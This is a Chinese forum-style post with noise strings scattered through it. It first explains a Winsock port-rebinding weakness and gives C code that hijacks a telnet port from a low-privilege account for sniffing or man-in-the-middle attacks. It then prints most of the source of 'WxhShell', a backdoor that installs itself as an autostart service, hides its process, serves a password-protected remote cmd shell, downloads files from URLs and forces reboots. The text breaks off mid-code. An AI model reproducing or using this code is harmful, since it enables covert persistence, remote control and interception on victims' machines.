在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
~#:e *:ro s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>zY \Llv ZA#y)z8!E saddr.sin_family = AF_INET;
cd;NpN 5TBI<K saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:&'{mJW*{t u"$a>S_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
J3S&3+2G r0m)j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
5CJZw3q vd#,DU=p! 这意味着什么?意味着可以进行如下的攻击:
2>S~I"o0 ?3sT"r_d@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
")s!L"x d_}a`H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
HW=xvA+ Oi:JiD= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
cTZ)"^z! b'>8ZIY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#:3r4J%+~ %IpSK 0<Sp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<2 _J?SIm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
zW{ 6Eg #`GbHxd 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<l\N|+7R #_Ea[q7v #include
`0BdMKjA #include
SA6hbcYk #include
FyD.>ot7M #include
& %}/AoU DWORD WINAPI ClientThread(LPVOID lpParam);
%/0gWG int main()
2]jPv0u {
mp`PE= WORD wVersionRequested;
O{KB0"s>i DWORD ret;
<Mgf]v.QS WSADATA wsaData;
~] =?b)B BOOL val;
((3t: SOCKADDR_IN saddr;
[h}K$q SOCKADDR_IN scaddr;
vW.%[] int err;
%u]6KrG18b SOCKET s;
3
%(Y$8U SOCKET sc;
EHf)^]Z int caddsize;
sV0Z HANDLE mt;
#!!AbuhzK{ DWORD tid;
>.dHt\ wVersionRequested = MAKEWORD( 2, 2 );
993d/z|DX err = WSAStartup( wVersionRequested, &wsaData );
i|2$8G3 if ( err != 0 ) {
\ 3NS>v[1 printf("error!WSAStartup failed!\n");
I"!'AI- return -1;
":WYcaSi }
*d*oS7 saddr.sin_family = AF_INET;
|i)lh_iN 5 Rz/Ri\c= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<A~GW
'HB ZL91m`r saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4e%8D`/=M saddr.sin_port = htons(23);
^E@@YV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'_Wt}{h {
#MTj)P, printf("error!socket failed!\n");
5}<[[}( return -1;
%<U{K; }
.Vx|'-u val = TRUE;
GEE
]Kr //SO_REUSEADDR选项就是可以实现端口重绑定的
dXP6"V@iI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9={N4}< {
ko[TDh$T5 printf("error!setsockopt failed!\n");
Jirct,k return -1;
4]6 Qr }
&G{2s J5{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
HCc` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
EODB`$+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8$ DwpJ *caLN,G if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
M'u=H {
,RK3eQ ret=GetLastError();
?vu|o'$T, printf("error!bind failed!\n");
ZO7bSxAN- return -1;
Ex,JB + }
O_CT+Ou listen(s,2);
X(GV6mJ4 while(1)
}'`xu9< {
4;\Y?M}g? caddsize = sizeof(scaddr);
`C<F+/q //接受连接请求
$9i9s4u^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
P3$,ca' if(sc!=INVALID_SOCKET)
G]lvHD {
:ej_D} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
A[9NP-~ if(mt==NULL)
a;&}zcc* {
vXubY@k2 printf("Thread Creat Failed!\n");
??I:H break;
jaqV[*440U }
4Iq5+Q }
4g!7
4a CloseHandle(mt);
F!R2_89iy }
n#>5?W closesocket(s);
`cO|RhD@ WSACleanup();
no3Z\@% return 0;
*:#Z+7x
] }
Qu}N:P9l?X DWORD WINAPI ClientThread(LPVOID lpParam)
h2&y<Eg > {
Vi,Y@+4 SOCKET ss = (SOCKET)lpParam;
Y`]rj-8f0B SOCKET sc;
c(:Oyba unsigned char buf[4096];
q2Rf@nt SOCKADDR_IN saddr;
$`Rxn*}V4# long num;
#7C6yXb% DWORD val;
VKf6|ae DWORD ret;
BvI 0v: //如果是隐藏端口应用的话,可以在此处加一些判断
CXa Ld7nMX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
sy.:T]ZH saddr.sin_family = AF_INET;
cKpQr7]ur saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
28+HKbgK saddr.sin_port = htons(23);
@H4wHlb if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kd`YSkZ {
82.HH5Z{ printf("error!socket failed!\n");
gUb
"3g0 return -1;
C M^r|4K }
>Qk97we'9 val = 100;
\d5}5J]a&n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~,G]glu8 {
?1$\pq^ ret = GetLastError();
9F)W19i. return -1;
h/9Sg*k }
zi_[V@Es/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:3gFHBFDj {
(k#t}B[ ret = GetLastError();
* 2%oZXF return -1;
fr]Hc+7 }
UhBz<>i;! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
n531rkK- {
qu!<lW~c printf("error!socket connect failed!\n");
*cQz[S@F closesocket(sc);
'rh\CA/}D closesocket(ss);
_0*=u$~R return -1;
,L~snR'w }
'yeh7oR while(1)
aLHrl6" {
th90O|; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y0y+%H- //如果是嗅探内容的话,可以再此处进行内容分析和记录
qAbd xd[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
d>~`j8,B num = recv(ss,buf,4096,0);
e~*S4dKR if(num>0)
$WJy?_c send(sc,buf,num,0);
iI}nW else if(num==0)
0O^U{#*$I break;
xT/9kM&}L num = recv(sc,buf,4096,0);
?qIGQ/af& if(num>0)
H<{*ub4'L* send(ss,buf,num,0);
g.=!3e&z% else if(num==0)
6iyt2qkh break;
Jb6& }
H'']J9O closesocket(ss);
Mi;Tn;3er closesocket(sc);
LsnXS9_ return 0 ;
>7W"giWP }
I>!|3ElT vo.EM1x hOV_Oqe4? ==========================================================
eNivlJ,K|@ <%(f9j 下边附上一个代码,,WXhSHELL
ELD
+:b P0Aas)! ==========================================================
83X/"2-K ,qYf#fU#7 #include "stdafx.h"
={OCa1 z^"?sd #include <stdio.h>
$/os{tzjd #include <string.h>
k:W=5{[ #include <windows.h>
m/cx|b3hqv #include <winsock2.h>
)~G8 L Z #include <winsvc.h>
[10$a(g\x #include <urlmon.h>
~LSy7$rz YqkA&qL]#; #pragma comment (lib, "Ws2_32.lib")
@RQ+JYQi #pragma comment (lib, "urlmon.lib")
.!9Vt# "hz>{oe #define MAX_USER 100 // 最大客户端连接数
i^~sn `o #define BUF_SOCK 200 // sock buffer
5NFq7&rJ6 #define KEY_BUFF 255 // 输入 buffer
e-1;dX HL g+VRT,r #define REBOOT 0 // 重启
t%
<pbZO #define SHUTDOWN 1 // 关机
5BZ+b_A>VV EwC5[bRjUp #define DEF_PORT 5000 // 监听端口
yFIl^Ck% JHHb | #define REG_LEN 16 // 注册表键长度
EC0zH#N #define SVC_LEN 80 // NT服务名长度
n&3iz05} 7ucx6J]c // 从dll定义API
.`b4h"g: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
q=J9LQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
T %$2k> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@^BS# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2J1B$.3' `NTM%# w // wxhshell配置信息
3KB|NS struct WSCFG {
V,`!rJ int ws_port; // 监听端口
`e4o 1* char ws_passstr[REG_LEN]; // 口令
ZE{aS4c int ws_autoins; // 安装标记, 1=yes 0=no
dVij <! Lu char ws_regname[REG_LEN]; // 注册表键名
r{bgTG char ws_svcname[REG_LEN]; // 服务名
?L`MFR char ws_svcdisp[SVC_LEN]; // 服务显示名
jo]m12ps char ws_svcdesc[SVC_LEN]; // 服务描述信息
)j$b9ZBk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
p|xs|O6{ int ws_downexe; // 下载执行标记, 1=yes 0=no
D:+)uX}MOf char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
>B @i
E char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R994R@gz f6@^Mg };
9<+;hH8J_r )zo#1$C- // default Wxhshell configuration
h2im
sjf struct WSCFG wscfg={DEF_PORT,
Vf@S8H "xuhuanlingzhe",
mYzsTUq 1,
oUnq"] "Wxhshell",
-Y5YCY!` "Wxhshell",
d<e+__2 "WxhShell Service",
uZo]8mV "Wrsky Windows CmdShell Service",
7[(Lrx.pM "Please Input Your Password: ",
* [iity 1,
`two|gX0K "
http://www.wrsky.com/wxhshell.exe",
f>.`xC{ "Wxhshell.exe"
^\xCqVk_R };
FF5tPHB 6:e}v'q{ // 消息定义模块
z_5rAlnwT. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
WV5r$ char *msg_ws_prompt="\n\r? for help\n\r#>";
|_xZ/DT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
PmuEL@'^ U char *msg_ws_ext="\n\rExit.";
N`
@W% char *msg_ws_end="\n\rQuit.";
=*@MQ char *msg_ws_boot="\n\rReboot...";
4f_ZY5= char *msg_ws_poff="\n\rShutdown...";
fU\k?'x_ char *msg_ws_down="\n\rSave to ";
fzq'S]+ ;$E~ZT4p char *msg_ws_err="\n\rErr!";
O6*'gnke char *msg_ws_ok="\n\rOK!";
*
ePDc' G~b`O20N char ExeFile[MAX_PATH];
yf0vR%,\ int nUser = 0;
E#IiyZ HANDLE handles[MAX_USER];
N>W;0u! int OsIsNt;
7C,<iY r{;VTQ SERVICE_STATUS serviceStatus;
~*,Ddwr0a SERVICE_STATUS_HANDLE hServiceStatusHandle;
uD0(aqAZ )&b}^1 // 函数声明
LS R_x$G+t int Install(void);
ej)BR'* int Uninstall(void);
FF~on06! int DownloadFile(char *sURL, SOCKET wsh);
OX#eLco int Boot(int flag);
o(v"?Y 6 void HideProc(void);
4eDmLC"Y
* int GetOsVer(void);
=!I8vQ> int Wxhshell(SOCKET wsl);
u&?yPR void TalkWithClient(void *cs);
F)[XIY&2/ int CmdShell(SOCKET sock);
F``EARG)iu int StartFromService(void);
% 8rr*l5 int StartWxhshell(LPSTR lpCmdLine);
-52@%uB TsFV
;Sl3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
op.PS{_t VOID WINAPI NTServiceHandler( DWORD fdwControl );
3[00-~&U MX4 :e>dtd // 数据结构和表定义
k'WS"<- SERVICE_TABLE_ENTRY DispatchTable[] =
6Y92& {
|ec(z {wscfg.ws_svcname, NTServiceMain},
qY*%p {NULL, NULL}
T_5*iwI };
~#IWM+I "G i+zkVm // 自我安装
YG}p$\R int Install(void)
X-*KQ+? {
{Kq*5Aq8 char svExeFile[MAX_PATH];
mTrI""Jsu; HKEY key;
.>AFf9P strcpy(svExeFile,ExeFile);
Q+y-*1
x`j$9XN5 // 如果是win9x系统,修改注册表设为自启动
Eb4< 26A if(!OsIsNt) {
Xv?
S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$w";*">:0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1%]{0P0?[ RegCloseKey(key);
kp#c:ym if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W[jW;uk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+Zty}fe RegCloseKey(key);
kG|>_5 return 0;
)|59FOWg }
5W:Gl?$S} }
sTYuwna~
}
U:etcnb4w> else {
dZ;~b(CA #V(Hk ) // 如果是NT以上系统,安装为系统服务
dH2j*G Ij SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
//'xR8Z if (schSCManager!=0)
ATXx?
b8h {
#C=L^cSx( SC_HANDLE schService = CreateService
2S7H_qo$ (
m\}\RnZu schSCManager,
=oKPMmpCZ wscfg.ws_svcname,
<Vr]2mw wscfg.ws_svcdisp,
lhIr]'?l SERVICE_ALL_ACCESS,
c!(~BH3p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{8>_,z^P) SERVICE_AUTO_START,
iBPdCp%]` SERVICE_ERROR_NORMAL,
bCY^.S- svExeFile,
q)z1</B- NULL,
x9{Sl[2& NULL,
JUaKj@a| NULL,
r,Y/4(.c7U NULL,
+^]PBMM1w NULL
U(Hq4D );
}~Kyw7? if (schService!=0)
wzLiVe- {
4<eJ CloseServiceHandle(schService);
zYgK$u^H CloseServiceHandle(schSCManager);
4o)\DB?! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?G%, k
LJJ strcat(svExeFile,wscfg.ws_svcname);
E%J7jA4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{ZBb.$}RC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
yW6[Fpw RegCloseKey(key);
a s<q return 0;
Lu#@~ }
/KJx n6 }
MR l*rK CloseServiceHandle(schSCManager);
/S=;DxZ,r }
2}xFv2X }
|Z^c#R s_Ge22BZ return 1;
1+PNy d }
gp|7{}Q{ 'k(~XA}X: // 自我卸载
Q+%m+ /Zq int Uninstall(void)
~1wdAq`'a {
>FMT#x t HKEY key;
TF}4X;3Dsy 5)SZd) if(!OsIsNt) {
'\E*W!R.] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
NId~|&\ RegDeleteValue(key,wscfg.ws_regname);
mGyIr kE RegCloseKey(key);
oE|{|27X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{dSU
\': RegDeleteValue(key,wscfg.ws_regname);
iR}i42Cu RegCloseKey(key);
S;AnpiBM8 return 0;
&0<R:K ?>N }
7yCx !P; }
9|kEq>d }
p6eDd"Y else {
c402pj
G~$M"@Q7N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
li'1RKr if (schSCManager!=0)
0.+Z;j {
g9r5t'; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O t4+VbB6 if (schService!=0)
{HJ`%xN| {
3b[[2x_UU if(DeleteService(schService)!=0) {
{pJ@I=q CloseServiceHandle(schService);
<n2{+eO CloseServiceHandle(schSCManager);
I9j+x]) return 0;
fM[fS?W }
L4A/7Ep CloseServiceHandle(schService);
+q,n}@y= }
nR |LV'( CloseServiceHandle(schSCManager);
'hHX"\|RA }
`GN5QLg#}0 }
GHsdLe=t0# [F-u'h< *l return 1;
>p#d;wK4_ }
; dHOH\,: tS/APSY // 从指定url下载文件
SIBIh- L int DownloadFile(char *sURL, SOCKET wsh)
BHBT=,sI {
K}*p(1$u HRESULT hr;
nF
y7gA| char seps[]= "/";
xbH!:R; char *token;
$8 ww]}K char *file;
k49n9EX char myURL[MAX_PATH];
xA1pDrfC/ char myFILE[MAX_PATH];
q}24U3ow ]=XL9MI strcpy(myURL,sURL);
@_:?N(%( token=strtok(myURL,seps);
v&/-&(+ while(token!=NULL)
zSvHv s {
](6vG$\ file=token;
@KRn3$U token=strtok(NULL,seps);
^0?cyv\>LA }
)^2jsy
-/ QR"O)lP GetCurrentDirectory(MAX_PATH,myFILE);
n_NG~/x strcat(myFILE, "\\");
)^@V*$D strcat(myFILE, file);
%Bu n@ send(wsh,myFILE,strlen(myFILE),0);
VqT[ca\ send(wsh,"...",3,0);
52R.L9Ai hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RuEnr7gi if(hr==S_OK)
*wZV*)} return 0;
-EIMh^ else
hnLgsz return 1;
7}7C0mV3 BCDf9]X }
]qG5Ne_ n~cm?" // 系统电源模块
8i$`oMv[y int Boot(int flag)
IG@&l0ARL {
0_Z|y/I. HANDLE hToken;
Jy[8,X TOKEN_PRIVILEGES tkp;
I8wVvs;k E6\~/=X=% if(OsIsNt) {
[?o vJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{'bkU9+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
TZ_'nB~ tkp.PrivilegeCount = 1;
*1]k&#s tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6#63D>OWp AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4U1fPyt if(flag==REBOOT) {
4!W?z2ly~R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
t-m,~Io W return 0;
&zDFf9w2{ }
}(IDPaJ else {
BJ2W}R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&IY_z0= return 0;
'"p*FN }
| Dpfh }
p%tg->#L else {
90k|u'ikOp if(flag==REBOOT) {
rSCX$ @@F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`%:(IGxz return 0;
Yzx0 [_'u }
4T\/wyq0 else {
^u&Khc~
y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
WC; a return 0;
jmVy4* P_ }
\(t>(4s_~ }
xJ5!`#= D??/=`|8 return 1;
dp W%LXM_ }
UC$+&&rO ]KT,s]. // win9x进程隐藏模块
[:'?}p void HideProc(void)
\`5u@Nzx {
J~`%Nj5> $F$R4?_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
UeeV+xU if ( hKernel != NULL )
}r<^]Q*&p {
[,X,2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!9OgA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
()JDjzQT FreeLibrary(hKernel);
k}qiIMdI }
hvZR4|k> HaUo+,= return;
%E_{L }
@y&,e,3! X}^gmu<Vla // 获取操作系统版本
xM,(|p( int GetOsVer(void)
;g9:0,xT4 {
bd;f@)X OSVERSIONINFO winfo;
<OB~60h" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
> PA,72e GetVersionEx(&winfo);
6VE5C
g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
h(up1(x return 1;
>?FCv7qN else
8nR,GW\ return 0;
P$(}}@ }
$o H,:x?} @b({QM| // 客户端句柄模块
z9w.=[Io int Wxhshell(SOCKET wsl)
xK 'IsMo[ {
2a-hf|b1 SOCKET wsh;
>xgd< struct sockaddr_in client;
zt}p-U2I DWORD myID;
,KaWP EOC"a}Cq- while(nUser<MAX_USER)
fdW={}~ {
bd}SB -D int nSize=sizeof(client);
?QVI'R:Z? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-2d&Aq4m) if(wsh==INVALID_SOCKET) return 1;
brot&S2P>< T6#GlO)8) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
11+_OC2-
if(handles[nUser]==0)
!7?wd^C'f closesocket(wsh);
L<`g}iw else
9x,+G['Zt nUser++;
)5x?Qn (B }
Fowh3go WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
OO>2oH pBLO return 0;
??Ac=K\ }
1^dWmxUZH L,L7WObA // 关闭 socket
@kymL8"2w void CloseIt(SOCKET wsh)
X:/t>0e {
P2F>iK#U closesocket(wsh);
G$<0_0GF nUser--;
Y.#+Yh[ ExitThread(0);
*h6i9V%' }
1A`";E& (0f^Hh wF // 客户端请求句柄
R0'EoX void TalkWithClient(void *cs)
?>&Zm$5V {
s6uAF(4, Cn '=_1p SOCKET wsh=(SOCKET)cs;
U 7?ez char pwd[SVC_LEN];
HskN(Ho char cmd[KEY_BUFF];
eRbO Hj1 char chr[1];
k*^W
lCZ3 int i,j;
#w6CL "-%H</ while (nUser < MAX_USER) {
v^'~-^s
iSHl_/I< if(wscfg.ws_passstr) {
nrBitu, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!f6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:DJ@HY //ZeroMemory(pwd,KEY_BUFF);
w4a7c i=0;
5;Xrf= while(i<SVC_LEN) {
;"z>p25=T 9v0|lS!- // 设置超时
xkovoTzV fd_set FdRead;
FeLP!oS> struct timeval TimeOut;
;0'v`ob'.? FD_ZERO(&FdRead);
Y2EN!{YU FD_SET(wsh,&FdRead);
!)34tu2 TimeOut.tv_sec=8;
ZbUf|#GTB TimeOut.tv_usec=0;
p6'8l~W+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;\N*iN#K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$EF@x}h:A oDa{HP\O]W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$}fA;BP pwd
=chr[0]; 2Fi*)\{
if(chr[0]==0xd || chr[0]==0xa) { ~l~g0J
pwd=0; ): 6d_g{2
break; .>n|#XK
} bE~lc}%
i++; r8rR _M{P
} oV`sCr5%
\Z':hw
// 如果是非法用户,关闭 socket m@YLZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r;z A `
} 5,C,q%2
Df (6DuW
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o*_ D
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5mU_S\)4:z
^> fs
while(1) { "L]_NST
`Z-`-IL
ZeroMemory(cmd,KEY_BUFF); j$6}r
WmA578|l!
// 自动支持客户端 telnet标准 <X?F :?Mk
j=0; }JD(e}8$!
while(j<KEY_BUFF) { Npqb xb
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %:*HzYf
cmd[j]=chr[0]; 32yNEP{
if(chr[0]==0xa || chr[0]==0xd) { eORt
qX8*
cmd[j]=0; I?QKd@
break; K@m^QioMj
} N"TD$NrK\
j++; '#PT C,0UJ
} YbKW;L&Ff
a0R]hENC
// 下载文件 1*fA>v
if(strstr(cmd,"http://")) { RulIzv
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (yfTkBy
if(DownloadFile(cmd,wsh)) q<VhP2R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (P ?9Jct
else `;;!>rm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -g0>>{M'
} i(WWF#N5
else { 2xX7dl(cC
7F.,Xvw&@
switch(cmd[0]) { art{PV4-
/03>|Juo
// 帮助 r`2& o
case '?': { \
(,2^T'$J
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F}Au'D&n_
break; @lwqkJ
} &+v&Dd&
// 安装 +-hmITJv
case 'i': { Fr~xN!
if(Install()) e\<I:7%Rg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~J|0G6H
else V;"'!dVX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nFqMS|EN
break; ' vwBG=9C
} 6{M.S}.^
// 卸载 iaB5t<t1r
case 'r': { GOt@x9%
if(Uninstall()) /?sV\shy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EO5Vg
else F<$&G'% H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); am}zOr\
break; F}X_I
} P1t5-q
// 显示 wxhshell 所在路径 '&9b*u";x(
case 'p': { ;>~iCFk]?
char svExeFile[MAX_PATH]; .eE5pyw+C
strcpy(svExeFile,"\n\r"); $)U
RY~;i
strcat(svExeFile,ExeFile); gnQd#`
send(wsh,svExeFile,strlen(svExeFile),0); STI8[e7{
break; 4T:ZEvdzf
} 4Xz|HU?
// 重启 _#+i;$cO-X
case 'b': { 'Gk|&^
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W;=ZQ5Lw
if(Boot(REBOOT)) \21!NPXH2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bu]bfnYi9
else { GB#7w82
closesocket(wsh); d^7<l_u~ !
ExitThread(0); fRiHs\+
} 8L:0Wp
break; (f)QEho7
} FEkx&9]
// 关机 S7bSR?~L[
case 'd': { 5q\]] LV>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TtzB[F
if(Boot(SHUTDOWN)) [Y[|:_+5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fA8 ,wy|>
else { ?g 3sv5\u
closesocket(wsh); COap*
ExitThread(0); 'G&w[8mqY
} K&/W cuP&
break; b{A#P?
} t4h* re+
// 获取shell uB\A8zC
case 's': { L(.5:&Y=`
CmdShell(wsh); k20tn
ew
closesocket(wsh); |K]tJi4fz
ExitThread(0); dQ<EDtap
break; l{<@[foc
} u!O)\m-
// 退出 +:b|I'S
case 'x': { r_QWt1K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); },l3N K
CloseIt(wsh); }q^CR(h (R
break; |.YL2\
} J(0c#}d
// 离开 2?&h{PA+
case 'q': { ;aSEv"iWX
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #soWX_>
closesocket(wsh); #(OL!B
WSACleanup(); bS*9eX=K
exit(1); >6c{CYuT
break; #<{sP0v*
} =7a9~&|
} sPut@4[S
} z;T?2~g!
~MOIrF
// 提示信息 9BP-Iet
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -{HA+ YL H
} 4oJ0,u
} tlj^0
,a}+Jj{
return; uKK+V6}!kj
} JMXCyDy;
WawOap
// shell模块句柄 Ls( &.
int CmdShell(SOCKET sock) Hd
:2
{ -Wf 2m6t
STARTUPINFO si; )<%GHDWL
ZeroMemory(&si,sizeof(si)); T{Av[>M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LBTf}T\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iNcB6,++
PROCESS_INFORMATION ProcessInfo; 06ZyR@.@v
char cmdline[]="cmd"; XLB7
E
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )Zox;}WK+
return 0; H?PaN)_6-+
} d-X<+&VZ
v81<K*w`P
// 自身启动模式 $%ps:ui~X
int StartFromService(void) y\S}U{*Z'
{ n* uT
typedef struct 3>ytpXUEGx
{ Dc
U$sf*
DWORD ExitStatus; fnB[b[
DWORD PebBaseAddress; i6aM}p<
DWORD AffinityMask; !Eu}ro.}
DWORD BasePriority; 04o(05K
ULONG UniqueProcessId; *4]}_ .rG#
